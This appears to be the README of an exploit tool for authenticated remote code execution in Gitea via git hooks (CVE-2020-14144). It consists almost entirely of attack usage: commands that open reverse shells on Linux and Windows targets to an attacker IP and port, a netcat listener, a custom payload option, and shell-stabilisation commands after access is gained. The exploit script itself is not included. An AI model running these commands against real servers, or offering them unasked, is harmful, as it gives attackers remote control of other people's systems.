# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux

# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows

.
├── README.md          # This file
├── MANUAL.md          # Manual exploitation guide (Linux + Windows)
└── exploit.py         # Automated exploit script

usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
                  [--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]

Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)

required arguments:
  -t, --target       Target Gitea URL (e.g. http://192.168.x.x:3000)
  -u, --username     Gitea username
  -p, --password     Gitea password
  -I, --rev-ip       Attacker listener IP
  -P, --rev-port     Attacker listener port

optional arguments:
  --os               Target OS: linux (default) or windows
  --repo             Repository name to create (default: exploit)
  -f, --payload-file Custom shell script payload file
  -v, --verbose      Verbose output

# 1) Start listener
nc -lvnp 4444

# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444

# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 --os windows

# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 -f payload.sh

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg